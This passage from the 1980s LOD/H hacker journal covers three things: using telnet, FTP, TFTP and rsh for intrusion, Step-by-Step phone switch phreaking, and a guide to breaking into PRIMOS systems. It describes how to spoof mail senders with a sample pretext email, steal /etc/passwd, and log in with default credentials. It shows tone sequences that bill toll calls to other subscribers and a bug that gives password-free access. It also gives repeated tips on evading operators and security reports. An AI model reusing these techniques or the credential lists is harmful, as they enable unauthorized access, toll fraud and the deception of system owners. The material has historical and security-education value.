Get help on COMMAND. Or if COMMAND is ommitted, then a summary of all options is printed.

Once a connection has been established, telnet enters input mode where you can communicate directly with the remote. To return to command mode, enter ^]
A hacking session might look like:

```
% telnet ucbvax.berkeley.edu
Trying 10.2.0.78 ...
Connected to ucbvax.berkeley.edu.
Escape character is '^]'.

4.3 BSD UNIX (ucbvax.Berkeley.EDU)

login: example
Password: ^D
Connection closed by foreign host.
%
```

PORTS

Each host on the Internet runs various daemons to perform tedious upkeep jobs like recording logs, mounting disks and on UNIX, cleaning uucp and /tmp files. Along with the 'normal' daemons is one ran to accomodate communication

between a host and its peers on a network. inetd the managing daemon of system to system communication has a number of various services which it regularly uses, but they can also be manually addressed via telnet. The notation, predisplayed, is simply:

```
% telnet HOST PORT
```

OR

```
telnet> open HOST PORT
```

Now each service has a port number associated with it. The number is decimal, in the range 0-1023. A database of all active services is located in the ASCII text file /etc/services

From a hacker's view the following are very helpful in the process of penetrating a system:

79 Finger server. Connecting to this will give a systat report similar to one a user would get if he was on the target system and issued the finger command. Once connected to port 79, the host will sit idle until one of two things: Either a return is pressed and a general finger will result, or a username is entered where personal info will outcome.

```
% telnet psuvax1.psu.edu 79
Trying 128.118.6.2 ...
Connected to psuvax1.psu.edu.
Escape character is '^]'.

Login       Name              TTY Idle    When            Office
opr      The Operator          co      Sat 19:02  334  Whitmo  x5-9723
hager    William W. Hager      d1      Sat 18:50              237-8876
georg    Georg Schnitger       22 1:32 Sat 18:42  315  Whitmo  x5-1406
malik    Sohail Malik          p0  18  Sat 19:16  214c  Compu  x5-0816
Connection closed by foreign host.
%
```

11 Systat server. This can not be issued to target UNIX systems, but is applicable to VMS and TOPS where it returns data like that from finger.

25 SMTP server. This is the server used for mail among systems. It is also the most vulnerable port to attack as it can be easily fooled. With this knowledge the hacker can assume any identity he wishes through mail. For example, to send mail to guest@cc3.bbn.com from root@satnet.arpa, under normal circumstances one would have to possess the root account wherefrom he would just enter:

```
% mail guest@cc3.bbn.com
```

But this is not always feasible or possible! So we must resort to an indirect, devious approach..

```
% telnet cc3.bbn.com 25
Trying 8.3.0.5 ...
Connected to cc3.bbn.com.
Escape character is '^]'.

220 cc3.bbn.com. Sendmail 3.2/SMI-3.2 ready at Fri, 28 Feb 87 17:40:53 PST

rcpt to: guest
250 guest... Recipient ok
mail from: root@satnet.arpa
250 example... Sender ok
data
354 Enter mail, end with "." on a line by itself
```

```
This is an example of the SMTP port.
.
250 Mail accepted
^]
telnet> c
Connection closed.
%
```

To summarize the text above; First, contact the remote at port 25 using telnet:

```
% telnet HOST 25
```

After system link authentication, enter:

```
rcpt to: USERNAME
```

Ok? Type in bogus identity:

```
mail from: USERNAME@HOST
```

To start message:

```
data
```

Now, the mail:

```
     My organization has of late been discussing an upgrade to a Vax
processor. The Sun computer we are currently using is immensely slow (and
getting slower!) due to the demands put on it by the users. If you would allow
me a demo account on your system so I may view its performance, I would be
deeply grateful.
     Please respond to me through mail at: bogus!haha!sys1!jeff.
```

A period on a line by itself will complete the transfer:

```
.
```

FTP

FTP is a file transfer program that is quite powerful and helpful to the hacker in obtaining access to a target. It can be used to send and receive data. Similar to telnet, the client with which to communicate can be specified when invoked:

```
% ftp -n HOST
```

The -n option I always include as it disables auto-login and net-trace, an auto-feature which sends the originator's login and system name. The prompt for FTP is 'ftp>'.

open HOST
   Establish connection to the named HOST.

close
   Terminate connection and return to command interpreter.

quit
   Abort program.

status
   Show status parameters.

! COMMAND
   Run shell command on local machine. Like the 'z' option of telnet, if COMMAND is ommitted, than an interactive shell is invoked. ^D will return user back to the interpreter.

ls
   Print a listing of the directory contents on the remote host in an abbreviated form. To do a long listing, enter 'dir'.

cd REMOTE_DIRECTORY
   Change the working directory on server.

pwd
   Print working directory on remote.

lcd DIRECTORY
   Change the working directory on the local machine to DIRECTORY.

get REMOTE_FILE LOCAL_FILE
   Receive the REMOTE_FILE on the remote system and name it LOCAL_FILE on the local system.

send LOCAL_FILE REMOTE_FILE
   Send LOCAL_FILE to the host and name it REMOTE_FILE.

append LOCAL_FILE REMOTE_FILE
   Append LOCAL_FILE to the end of the distant file, REMOTE_FILE.

rename REMOTE_FILE NEW_REMOTE_FILE
   Give a new name to a remote file.

delete REMOTE_FILE
   Kill REMOTE_FILE.

   Various other commands exist for bulk transfers and directory management. If there is any doubt ever on a command, help is always available:

ftp> help COMMAND

   Once a connection has been made, the computer will identify itself and then go idle. (That is, if auto-logging is disabled as it should be.) To login to the system:

ftp> user USERNAME

   Then if a pass is required, the proper prompt will appear.

```
% ftp -n
ftp> o ll-xn.arpa
Connected to LL-XN.ARPA.
220 ll-xn FTP server (Version 4.103 Wed Jun 25 17:42:33 EDT 1986) ready.
ftp> user anonymous
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp>
```

   Logging on to a FTP server is different than normally entering a machine. When a remote user is operating FTP, the exchange is treated as a process of ftp or daemon, not an actual login. Therefore, a different login program, which restricts use immensely, is used.
   If set up properly, FTP will chroot to /usr/spool/ftp where three directories exist, bin, etc, and pub. Within /usr/spool/ftp/etc is the password file used for the FTP server login program. It is not a complete

version of that in /etc/passwd, but it can be useful by providing usenames.
Also of mentioning is /etc/ftpusers. This file contains multiple lines of usernames is like /usr/lib/cron/cron.deny on a Unix System V. If you are unlucky and your username appears in the file, FTP logins are denied.
A few defaults are present within this doctored version of /etc/passwd that most always will provide access to a system.

ACCOUNT	PASSWORD
anonymous	anonymous, guest, ftp
ftp	ftp
guest	guest
ftpser	ftpser
tftpser	tftpser
help	help

Each user may have in their home directory a file titled '.netrc'. This is a file containing usernames and passwords used on systems that a user commonly converses with. Entries in the file take the form:

```
machine HOST login USERNAME password PASSWORD
```

It is advantageous to locate all of these files on your system as they will expand not only your systems list, but also your chance of entering a computer.
Once admittance has been gained, I suggest copying the /etc/passwd file for later attempts at hacking the front end of the system if other routes such as defaults, finger, TFTP (To be explained hereafter.), or by way of the remote facilities (Ditto.) are not possible.

```
ftp> get /etc/passwd pass
200 PORT command okay.
150 Opening data connection for /etc/passwd (26.8.0.14,1389) (47 bytes).
226 Transfer complete.
48 bytes received in 0.32 seconds (0.15 Kbytes/s)
ftp> close
221 Goodbye.
ftp> quit
%
```

TFTP

The Trivial File Transfer Program is probably the most dangerous aspect of the TCP-IP structure on the Internet. TFTP requires no account or password be present on a host system. About the only restriction is that the files inquired must have public read access permissions set. If not, an authorization failure error will result. Also, the TFTP server port must be open, otherwise no transmissions can take place.

```
% tftp HOST
```

Once connected, the user will get the 'tftp>' prompt where from he can grab or send files.

connect HOST
Set HOST up for transfers. There is no actual connection made in the sense that communication has happened, the program merely remembers what host to be used in a transfer inquiry. Therefore, there is not a disconnect command.

quit
Exit TFTP.

status

Show current set parameters. ie. HOST and timeout period.

get /PATH/FILE /PATH/FILE
Get /PATH/FILE from HOST and name it /PATH/FILE on local system. If no HOST has been specified yet, the form may be 'get HOST:/PATH/FILE /PATH/FILE'.

put /PATH/FILE /PATH/FILE
Send /PATH/FILE on local system to HOST and give it the title /PATH/FILE. As above, if HOST has not been specified, the form is 'put /PATH/FILE HOST:/PATH/FILE'.

timeout SECONDS
Set timeout parameter. The default is 25, that means abort transmission if no response from selected host after set period.

? COMMAND
Help with TFTP.

TFTP is the preferred method of file transfer. But is often closed to use due to its insecurities. To the hacker though, it is wonderful because data captured are genuine, not doctored versions as is the case with FTP. Therefore if possible, one will most likely use it to copy /etc/passwd:

```
% tftp mit-amt
tftp> get /etc/passwd /tmp/passwd
Received 16453 bytes in 7 seconds.
tftp> q
%
```

REMOTE PROCEDURES

Additional to the standard features of the TCP setup present on all machines of the net, UNIX has a set of it's own remote system interaction commands. The set of utilities, which I affectionately call the Remote Execution Facilities, are usable only between resource sharing UNIX systems. The conglomeration of remote programs can be very helpful for overtaking other suspect targets, especially if they are part of a small network unto themselves besides being major hosts on the Internet.
Before one sets out on the quest of conquering a system, it is wise to know who is currently logged on:

```
% rusers -l HOST
```

Rusers -l alone will print out a listing for all immediate surrounding UNIX hosts, but if a HOST is specified, only that particular computer will report.

```
% rlogin HOST -l USERNAME
```

If -l USERNAME is not included, the account name in use at present time will be used as the USERNAME when attempting login to HOST. If the username specified is present locally and on the distant machine in the file /etc/hosts.equiv, no password is required to login. This can be compromising to the security, a reason why the security wise will often make /etc/hosts.equiv a null file.
Each user may optionally have a file, '.rhost', in his home directory. This is a personal equivalent to /etc/hosts.equiv. If you are logged into an account with such a file, no pass is required to login (via rlogin), to the computers named.
Alike to the UUCP protocol, there is an allowance of the Remote Execution Facilities to preform commands on a networked system:

```
% rsh HOST -l USERNAME "COMMAND"
```

Remote shell will permit unlimited commands to be carried out on the remote

as long as the following criteria is met:
The username, if specified (If it is not, the current local one is used.), must be present on the foreign system and have remote execution privileges.
Commands are effective according to the environment set in .cshrc and .login on the host.
An example job:

```
% rsh century "ps -t console"
```

If the quotes are ommitted then variables like *?.,X are taken literally. Also, if no redirection is submitted, than output, if the command yields it, is sent back to the issuee.
Remote Copy, a sub-command of rsh, is a command similar to uucp. It must follow the criteria of Remote Shell plus all files qued must have public read permissions.

```
% rcp HOST:/PATH/FILE HOST:/PATH/FILE
```

For example, a common call would be the password file. So if I wanted to transfer the /etc/passwd file from harvard.arpa to rutgers:

```
% rcp harvard.arpa:/etc/passwd rutgers:/tmp/passwd
```

This format leaves quite alot of flexibility as it stands third party transfers are possible. If the second HOST is not inserted, than the file is put on the local system.
A notable option of rcp is directory copy. It will if specified, copy a directory and all the trees beneath it...allowing you to in theory to copy the entire file system onto your local host. (uh, oh!)

```
% rcp -d HOST:/PATH/DIRECTORY_NAME HOST:/PATH/DIRECTORY_NAME
```

CONCLUSION

In closing I would like to state that I have purposely left much information uncovered if I felt it would compromise an institution or company. I apoligize for not explaining many of the subjects discussed in the full detail they deserve, but if I had this article would have been mammoth.
Any questions, challenges, comments, or criticism can be directed to me, Solid State, through any of a various boards I visit or to an LOD/H Technical Journal account of which your mail shall be somehow communicated to me.
Sys Unix Comm

The LOD/H technical Journal: File #3 of 10

STEP BY STEP SWITCHING NOTES

BY PHANTOM PHREAKER

WRITTEN FOR LOD/H TECHNICAL JOURNAL

The following research was done on a class 5 Step By Step switching system. Items mentioned in this article are not guaranteed to work with your particular office. The following interesting topics about Step By Step switching are for informational and educational purposes only. This article is aimed at people who wish to learn more about telephone switching systems.

I realize step-by-step switching is dwindling every day, with many electromechanical SxS offices being replaced with newer electronic/digital switches and Remote Switching Systems (RSS's). However, rural areas of the U.S. still use Step, so if you are ever in an area served by a SxS CO you may be

able to use this information.

1:ANI Failure/ONI

To understand this technique, you must understand how ANI functions in the Step-by-Step switching system. Your CO sends ANI, with your number, in MF or DP to recievers that collect the ANI information and store it, along with the called number, on the appropriate form of AMA tape. ANI outpulsing in MF can use either LAMA (Local Automatic Message Accounting) or CAMA (Centralized Automatic Message Accounting). ANI sent in DP type signalling can also be used, but is rare. DP vs MF trunk signalling is similar to the difference between DTMF and pulse dialing, except on a trunk. DP signalling sends all information in short bursts of 2600Hz tones.

Causing ANIF's/ONI is an easy task in SxS (and some versions of Xbar), because the customer's link to the CO will allow the customer to input MF tones to influence a calls completion. This can be done by dialing a long distance number and listening to the clicks that follow. After the first click when you are done dialing, you will hear a few more. They will be timed very close to one another, and the last click occurs right before the called telephone rings. The number and speed of the clicks probably varies. Basically what these clicks are is the Toll Office that serves your CO setting up a route for your call. In order to abuse this knowledge, you need access to a MF source, whether it be a blue box, a computer with a good sound chip, tape recording, etc. Right before you hear the series of clicks, send one of the following sequences in MF:

KP+1 (Repeatedly) For Automatic Number Identification Failure (ANIF)

-or-

KP+2 (Repeatedly) For Operator Number Identification (ONI)

(Note:these will not work if your CO uses DP signalling.)

Play these tones into the phone at a sufficient volume so that they 'drown out' the series of clicks. Do not send an ST signal, as you are not actually dialing on a trunk. You must send these MF sequences quickly for this method to work correctly. After you have played your 'routing' a few times, you will hear a TSPS operator intercept your call and ask for the number you are calling FROM. When an ANIF is recognized, the call is cut through to a TSPS site that serves your area. Now, you can give the operator any number in your exchange and she will enter the billing information manually, and put the call through. The toll charges will appear on the customer who owns the number you gave. You can also accomplish a similar feat by merely flashing the switchook during the series of clicks. This will send DC pulses that scramble the ANI outpulsing and cause your call to be sent to a TSPS operator before the dialed number. Be sure to stop sending the MF 'routing' after the operator attaches or she may know that something's up. Use this method sparingly and with caution. It would also be a good idea not to use the same number for billing more than one time. Don't use this method in excess, because a toll office report will list the number of ANI failures for a specific time period. The ONI method works better because it is assumed ONI is needed to identify a caller's DN upon a multi-party line. Too many ANI failures will generate a report upon a security/maintenance TTY, so if you plan on using this method, use the ONI method instead of just ANI Failure. The basic idea behind the ANIF is to scrramble your ANI information by using MF (or the switchhook) to send your LD call to a TSPS operator for Operator Number Identification (ONI) due to ANI Failure. The idea behind the ONI method is that you are fooling the switch into thinking you are calling from a multi-party line and ONI is needed to identify your DN.

2:Test numbers

Some other interesting things in the Step By Step system can be found by dialing test numbers. Test numbers in SxS switching systems are usually hidden in the XX99 area, as opposed to 99XX, which is common for other types of switching systems. These types of numbers are possibly physical limitations of a SxS switch, and thus a milliwatt tone or other test numbers will be placed there, because a normal DN can't be assigned such a number. However, these XX99 numbers are usually listed in COSMOS as test numbers. Another interesting note about XX99 numbers is that they seem (at least in some offices) to be on the same circuit. (That is, if one person calls an XX99 number and recieves a test tone, and another person calls any other XX99 number in that same prefix, the second caller will recieve a busy signal).

Here we must examine the last four digits of a telephone number in detail.

```
XXXX=WXYZ             W=Thousands digit
                      X=Hundreds digit
                      Y=Tens digit
                      Z=Units digit
```

Dialing your prefix followed by an XX99 may result in a busy signal test number, a network overflow (reorder), miilliwatt tones, or other type of error messages encountered when dialing.

Not every XX99 number is a test number, but many are. Try looking for these in a known Step by Step office.

The numbers that return a busy signal are the ones that incoming callers are connected to when the Sleeve lead of the called Directory Number is in a voltage present state, which means the line is in use or off-hook. More about this in the next topic.

3:Busy signal confrencing

Another interesting feature of the Step-By-Step system is the way busy tones (60 IPM) are generated. In ESS and DMS central offices, busy signals that are sent by the terminating switch are computer generated and sound very even and clear with no signal irregularity. In SxS, all calls to a particular DN are sent to the same busy signal termination number, which can be reached most of the time by a POTS number. These busy tones are not computer generated and the voice path is not cut-off.

You can take advantage of this and possibly have a 'busy signal confrence'. This can be achieved by having several people dial the same busy DN that is served by a Step office, or by dialing an always-busy termination number. When you are connected to the busy signal, you will also be able to hear anyone else who has dialed the same busy number. Connection quality is very poor however, so this is not a good way to communicate.

As an added bonus, answering supervision is not returned on busy numbers, and thus the call will be toll-free for all parties involved. However, you must be using AT&T as your inter-LATA carrier if the call to the busy number is an inter-LATA call for you. So if your IC is US Sprint, you must first dial the AT&T Carrier Access Code (10ATT) before the busy number. If your IC doesn't detect answer supervision, and begins billing immediately or after a certain amount of time, then you will be billed for the length of the call.

4:Temporarily 'freezing' a line

A SxS switching system that operates on the direct control principle is controlled directly by what the subscriber dials. Jamming a line on SxS to prevent service is possible by simply flashing the switchook a number of times.

Or you may find after serveral aborted dialing attempts, the line will freeze until it is reset, either manually or by some time-out mechanism. Usually the time the line is out of action is only a few minutes. The line will return a busy signal to all callers, and the subscriber who has a 'dead' phone will not even hear sidetone. This happens when one of the elements in the switch train gets jammed. The switch train consists of the linefinder, which sends a dial tone to the subscriber who lifted his telephone, and places voltage on the S (Sleeve) lead as to mark that given DN as busy. Next in the switch train are the selectors. The selectors are what recieve the digits you dial and move accordingly. The last step in the switch train is the connector. The connector is what connects calls that are intraoffie, and sends calls to a Toll office when necessary. Other types of devices can be used in the switch train, such as Digit Absorbing Selectors, where needed.

5:Toll/Operator assisted dialing

You may be able to dial 1/0+ numbers with your prefix included in some areas. You can dial any call that you could normally reach by dialing 1+ or 0+. For example, to dial an operator-assisted call to a number in Chicago, you could dial NXX+0312+555+1000 where NXX is your prefix, and you would recieve the usual TSPS bong tone, and the number you dialed, 312+555+1000, would show up on the TSPS consoles LED readout board. You can also use a 1 in place of the 0 in the above example to put the call through as a normal toll call.

This method does not bypass any type of billing, so don't get your hopes up high.

The reason this works is twofold. The first reason is that the thousandths digit in many SxS offices determines the type of call. A 0 or a 1 in place of another number (which would represent a local call) is handled accordingly. The other reason is due to a Digit Absorbing Selector that can be installed in some SxS offices to 'absorb' the prefix on intraoffice calls when it is not needed to process the call. A DAS can absorb either two or three digits, depending on whether the CO needs any prefix digit(s) for intraoffice call completion.

6:Hunting prefixes

SxS switches may also translate an improperly dialed local call and send it to the right area over interoffice trunks. Take for instance, you need to make a local call to 492-1000. You could dial 292-1000 and reach the exact same number, provided that there is no 292 prefix within your local calling area. However, only the first digit of a prefix may be modified or the call will not go through correctly unless you happen to have dialed a valid local prefix. You also cannot use a 1 or a 0 in place of the first prefix digit, because the switch would interpet that as either dialing a toll or an operator assisted call.

7:Trunks

Step by Step switching system incoming and outgoing trunks are very likely to use In-band supervisory signalling. This means you could possibly use numbers served by a SxS CO to blue box off of. But, some older step areas may not use MF signalling, but DP signalling. DP signalling uses short bursts of 2600Hz to transfer information as opposed to Multi-Frequency tones. In DP signalling, there are no KP or ST equivalents. Boxing may be accomplished from DP trunks by sending short bursts of 2600Hz (2 bursts would be the digit 2). Acceptablepulse rates are 7.5 to 12 pulses per second, but the normal rate is 10 pulsesper second. A pulse consists of an 'on hook' (2600Hz) tone and an off-hook (no tone). So, at 10 pulses per second, a digit might be .04 seconds of tone and .06 seconds of silence. DP is rarely used today, but some direct-control Step offices still use it. Common Control Step offices are much more likely to use MF trunk signalling.

As said at the start of this file, some of the things mentioned here may have no practical use, but are being exposed to the public and to those who did not know about any one of the procedures mentioned here previously.

References and acknowledgements
==========
Basic Telephone Switching Systems-By David Talley, Hayden publishers
No. 1 AMARC-Bell System Technical Journal
Mark Tabas for information about CAMA and DP, The Marauder, and Doom Prophet.
==========

The LOD/H Technical Journal: File #4 of 10

A Guide to the PRIMOS Operating System

Written by,
Carrier Culprit
and
The Legion Of Hackers

This is Part I of a II part series on the PRIME operating system. In this article I will give a general overview of the system and command usage.

Note: This article will center around the Primos version 19, and revisons 19.1 and up.

[Backround Information]

Primos is the operating system for the PRIME mainframe, and supermini systems. The operating system is usually run on the Prime 750. Primos is a relatively secure system. Externally security is great, but the internal security needs help. The latest revision of version 19 is 19.4.0 (as of this writing). This revision is more secure in both external and internal security than its predecessors. By the time this article is released, Version 20 should be out and an article on that version will be forthcoming.

[Logging in V18.x.x]

It is quite easy to hack into a Prime running a version 18 of Primos. The external security is rather poor. All you need is an ID to logon. There is no password prompt, thus getting an operator's account is rather easy. Occasionlly, there will be some additional security software running and passwords will be needed. I am not going to go into detail on version 18 because it is obselete, any questions regarding version 18 please leave me mail.

[Logging in V19.x.x]

A Primos system is very easy to recognize. Once you are connected, hit a few returns to get the "ER!" prompt or you may be prompted with the ID prompt. If you do get prompted with the ID prompt, you need not put "Login" in front of the ID. Here is an example of a Primos login:

ATDT 123-4567

[2 RETURNS]

ER! Login CARRIER
Password:

```
 Prime (user 31) Logged in Friday, 5-Sept 14:27:20
 Welcome to  Primos Version 19.4.5
 Last login Thursday, Sept 4 1986 02:01:12
 (1 mail waiting)

 Note: You usually get 1 try to login before being disconnected.
```

In some cases the 2 c/r's are not needed and some systems won't respond until you type "login" and a return. Passwords and ID's are 6 characters, they may consist of letters and numbers. Finding passwords on a Primos can be hard, but there are some common ID's and passwords. You must use "login" before entering your ID. In this case my ID is "CARRIER". Here is a common list of ID's and passwords I have come accross:

ID name	Password
PRIME	PRIME
*SYSTEM	SYSTEM
PRIMOS	PRIMOS
*ADMIN	ADMIN
RJE	RJE
DEMO	DEMO
GAMES	GAMES
GUEST	GUEST
REGIST	REGIST
TEST	TEST
NETMAN	NETMAN
PRIRUN	PRIRUN
TOOLS	TOOLS
CMDNC0	CMDMNC0
+TELENET	TELENET

Note: * means that that ID is most likely to have SYS1 priorities.
Note: + account belongs to Telenet or some employees of Telenet in which the Primos will be located on the Telenet packet network.

System Accounts:

SYSTEM- This account usually contains configuration programs. It also contains system messages, logs, and userlists.

TOOLS- This account usually contains the utility to add users and the Netlink utility (Explained later).

CMDNC0- Contains help files.

These are default accounts which are standard in new Primos systems. They should be there unless the userfile has been modified by the system operator.

You can also mix them around, ie- Login SYSTEM Password:PRIME
There is no "systat" or extensive on-line help before logging in. Don't you wish people would model their operating systems after TOPS-10 (chuckle)? The best account to get on under would be an account with SYS1 priorities. This account is for people who advise regular users. Ok, lets assume you have hacked onto a regular account something like games.

The command prompt for Primos is "OK,". The first thing we would want to do is to see who is logged in. We would type "Users" and

would get something like this:

```
 OK, Users
 Users=8
```

This is telling us that there are 8 users currently logged in, which isn't extremely helpful. To get a full listing of usernames we would type "Status Users" or "Status -Users". We would get a status of users currently on-line. It would show us usernames, devices, and other sub-categories. Here's a sample of what you would get:

```
User                  Number         Device
ADMIN                   3            <MDF0>
SYSTEM                  1            <MFD0> <MFD1>
OBB                    31            <MFD0>
CRIMINAL               12            <MFD1>
```

If you see that other people are logged in, it may be best to log off and call back later, as the operators can perform the same command, and if they know that user should not be on the system at that time, you will obviously be kicked off. If there are 2 devices specified, the user is either receiving output from a different device, sending input to that device, or has logged out incorrectly (tsk tsk).

To get a full status of memory and accounting, you would type "Status System" This is usually in a Menu driven program, and you will get different options. ie- Log of users, memory, devices, etc.

We can access different priority levels by using the "CHAP" command. This is the way we can find out what our priority level is. We would do:

OK, CHAP UP

OK, CHAP DOWN X or CHAP DOWN

to return to your original priority level:

OK, CHAP ORIGIN or CHAP DEFAULT

Usually a user may leave his priority level rather low. You can then try to raise your level. There should be 6 different priority levels. A 0 meaning lowest, and 6 meaning highest. Here is a little diagram that will give you a list of ID's and what most of them will have access to.

Note: Some may have access to more or less than what I have written, but the comments are accurate for most systems.

```
!==================================================!
!     ID         !          Comments               !
!==================================================!
!   GAMES        !Allows user to view low level    !
!                !directories, and execute regular!
!                !commands. ie-CHAP, STATUS        !
!==================================================!
!   DEMO         !Allows user to run games, and    !
!                !execute the tour program.  Most !
!                !commands will not work, and it   !
!                !has a time limit. Lastly, it can!
!                !only access low lvl directories.!
!==================================================!
!   PRIME        !Allows user to execute all       !
!                !commands, except operator cmds. !
!                !User can also access PRIMENET if!
!                !the system supports it.  Access !
```

```
!                !to only low level directories.  !
!================================================!
!   ADMIN        !Access to view all directories &!
!                !bypass all ACL'S.  Can setup an !
!                !accounts on other Primos systems!
!                !via PRIMENET (if available).    !
!                !User can execute any command.   !
!================================================!
!  SYSTEM        !Same as ADMIN, except cannot    !
!                !view feedback to ADMINS.        !
!================================================!
!  RJE           !Same as games, except a RJE     !
!                !user can erase user log and spy.!
!================================================!
!  TEST          !Able to access any directory,   !
!                !only restriction is a test user !
!                !is not authorized to shut down  !
!                !the system.                     !
!================================================!
Note: RJE is a Remote Job Entry
```

Priority levels may vary on different Primos systems, they can range from 0- to any number up to 10. The most common range is 0-6. On some Primos systems you can do a CHAP PRIORITY to see what the range is.

Ok, we have checked priorities, and the system status. Lets move to directories. To list a directory type "LD" short for List Directory. This will list the directory you are attached to. In this case it will be your home directory. You will get a list of files within your own directory. To view someone elses directory you would type AT nameofdirectory. Lets say we are logged into a DEMO account. And we would like to view the files in the GAMES account. We could do either of the following:

OK, AT GAMES

This is telling the system we would like to default to the Games directory. This is similar to the Set Default name on a VAX/VMS system. (See Lex Luthor's Hacking VAX/VMS 3 part series for more information on VMS)

or we could do

OK, FUTIL
>AT GAMES

This is the same thing, except in the first method you can still execute Primos commands while still attached to the Games account. But when using FUTIL (File UTILity program) you can only list, create and copy files. To get out of the file utility program just hit a Control P. Here is a chart of file types and how to execute them:

File type	How to execute it
.CPL	CPL pathname
.SAVE	SAVE pathname
.SEG	SEG pathname
.BASICV	BASICV pathname
.TXT	SLIST pathname
.COM	CO pathname

Note: SLIST will also show the program lines of the file, whether it be a CPL file or COM file. This is a good way to learn CPL (Command Procedure Language).

Most files will not have suffixes. To execute them type "Resume pathname", filenames are called pathnames on PRIMOS. Unlike VMS, the PRIMOS system doesn't have the type of file as a suffix. On some files you'll get the suffix, but if not try: Resume pathname and that should execute the file, especially files with an "*" preceding them. If a file is in the format of, "*filename" do "Resume *filename". Usually basic files have an * preceding their titles.

To create a directory type:

OK, Create directname [-password] [-access]

A password can be from 1-6 letters, if I wanted to have a password on my directory I would do-

OK, Create directname [-limp] [-access]

If you don't put in an access level, the directory will automatically be set to ALL access. Here's a list of access rights:

```
      P         =       Protect a directory
      D         =       Delete entries from directory
      A         =       Add entries to directory
      L         =       Read the contents within directory
      U         =       Attach to a directory
      R         =       Read contents of a file
      W         =       Edit contents of a file
    ALL         =       All of the Above^^^^^
   NONE         =       Denies all access
```

Typically, if you are logged into a DEMO account your directory will be set to ALL access. If it is, someone can attach to the demo directory and do anything they want with it. Here is a list of accounts and what access they will usually have on their directory.

```
DEMO      =    ALL
GAMES     =    LUR
PRIME     =    ALL
SYSTEM    =    LUR
ADMIN     =    NONE
TEST      =    LUR
JBB       =    NONE
RJE       =    LUR
```

Most directories have LUR access which is access to read contents of the directory, attach to the directory, and read contents of a file. If you have enough privileges (priority levels) you can do the following to change the access rights:

OK, Set_Access ALL [-LUR]

This is setting access from ALL to LUR. ALL was the present access, now we changed it to LUR. You should only do this if it's your own personal account as changing access rights on hacked accounts could lead to your detection and subsequent expulsion from the system.

To create a file, preferably a text file, type "Mail pathname", then you will be thrown into the Mail subsystem which I believe is version 3.1 now. You can type in all the info you want, when finished hit a Control-P. It will ask you for a pathname to save it to. Enter the name you would like. It will look something like this:

OK, Mail DOE

Mail 3.1
>Hello. This is your system operator. Any ideas on how to keep those
>pesky little computer criminals out of our system?
>Comments can be directed to SYSTEM.
Enter Filename: Pesky.Txt

The above method is rather primative but works good if you are only creating a text file. It is a common method used on version 18, and is easy to perform. The other method is more common on version 19, and is commonly used today.

OK, Create Test.Txt
OK, Ed

EDIT
$
Note: $ is not dropping you into DCL, so you DCL programmers are out of luck (chuckle).

From the $ prompt you can type 'help' to get a list of commands which can be used in the Editor.

$ (return)

By hitting return we are givin the "&" prompt, here we can input our file. Or if you know CPL you can start programming. Do not hit return on a blank line or you will be thrown into the main Editor prompt ('$').

& Hello this is Bif (the system operator) I am testing the Editor
& because we have added new enhancements. This is only a test.
& (return)

Thus by hitting return we are givin the $ prompt once again. To save our file we can type-

$ Save Test

In this case the filename is test. The system will reply by saying 'Test Saved'. The file should be located at the end of the files list when you List files.

To make sure the contents are saved type "Slist Test.Txt", it will display the text you typed in mail or the editor. A couple of important notes:

1: Never use a "?" anywhere in the file, or it will erase all of the contents in the file.
2: Never hit a c/r twice. In other words if you hit a c/r on a blank line the system will recognize this as mail and will send it to the name you entered.

If you want to make a basic program or basicv type "Basic" or "BasicV" at the "Ok," prompt and you will be thrown into that language. If you would like to make a CPL program you can enter it from the main prompt since that is the default language for Primos.

To delete a file just type "Delete filename".

To get a list of directories with their ACLs (Access Control Lists) type "List_Access". It would look something like this:

OK, LIST_ACCESS

ACL "<Current Directory>":

ADMIN : NONE
 DEMO : LUR

```
SYSTEM : LUR
ROBERT : ALL
 GAMES : LUR
 PRIME : ALL
```

To get a listing of just files type "Listing", it will give you a list of files in the directory you're attached to. The only difference between this method and "LD" is that LD tells you what access rights is on that directory.

<Tour Program>

On some Prime systems you may find a program located within the Demo or Games account. The name of the program is "Tour" and you can execute it by doing CPL Tour. The program will be inputting commands and the system will execute them. There is a bug within that program which can be used to your advantage. First execute it by doing CPL Tour, once the program has begun it will have a couple of pauses (while it is loading). First hit 3 Control P's. By doing this you are breaking out of the program. Next, attach to the SYSTEM directory. Once attached, SLIST the Tour program (Slist Tour). When it begins listing the file do a Ctrl-P again. Now, go into the editor (ED). When you receive the $ prompt hangup on the system. The system is now hung in the Editor, and the Tour program is still executing (from the Demo or Games account). You must call right back (and prey that the line hasn't been captured by a system operator). You will be put right into the tour program, while it is being executed. You will need no pw to login as you are attached right to it. You now have access to write and read anything your little heart desires. If you plan on trying this, do it at night, since you will most likely be the only one on the system. Always do it on a 1 line system. Never on a Prime that is used constantly (unless you have perfected this method). Remember to call right back after you have hung up, or someone like BIF may call and wonder why he did not get the ID prompt. So be careful.

I also know different ways you can modify the tour program to have a little fun (using CPL commands) but due to obvious reasons I will not publicize the lines. If you are interested please get in contact with me.

<Message>

To send a message to someone on the system type "Message username". It would look something like this:

```
OK, Message PRIME
Hi, can you tell me why the system was down last week.
```

Note: Remember DON'T use ?'s.

The user PRIME will receive the message, unless he's busy or has executed a command which refuses messages. It would look like this:

```
OK, Message Prime
Hi, can you tell me why the system was down last week.

User Prime not accepting messages
```

If you do not receive that message then the user will get your message. This is like Phone username on VMS, except on a VMS it looks better (chuckle).

<Mail>

To send mail you type: "Mail xxxxx". If I wanted to send mail to user SYSTEM, I would type "Mail System", I would be thrown into the mail subsystem.

To end a message hit a c/r on a blank line. You will be notified when you get mail when you first logon. It will say "(mail waiting)". To read it type "Mail". If you have no mail and you type Mail it will say "sorry no mail today". Once again no ?'s are allowed or the contents of the mail will be erased.

<Status>

Status followed by a topic will give you a system status on that topic. You can get information on the following using Status-

```
Status ALL        =      Information on who is logged in and devices.
Status DI         =      Information on devices, what devices are in use.
Status SYSTEM     =      Information on what version of Primos is being run.
Status NETWORK    =      Information on Netlink, and network nodes.
```

There are others but these are probably the most important, and of course, "Status Users" which I mentioned earlier, which will give you a list of users currently logged in.

<Change_Password>

Allows a user to change his password. It will look something like this:

```
OK, Change_Password
Old Password:Z102345
New Password:
Verfication :
```

Notice how new password and verification don't echo, this is for security purposes so don't be alarmed. Changing passwords of hacked accounts is not a good idea. We don't want to get detected now do we?

<Info>

Gives info on the system. ie-who it belongs to, what version its running on and new features.

<Languages>

Gives a list of languages the system supports.

<Help>

Gives a list of help commands and a small description.

<Netlink>

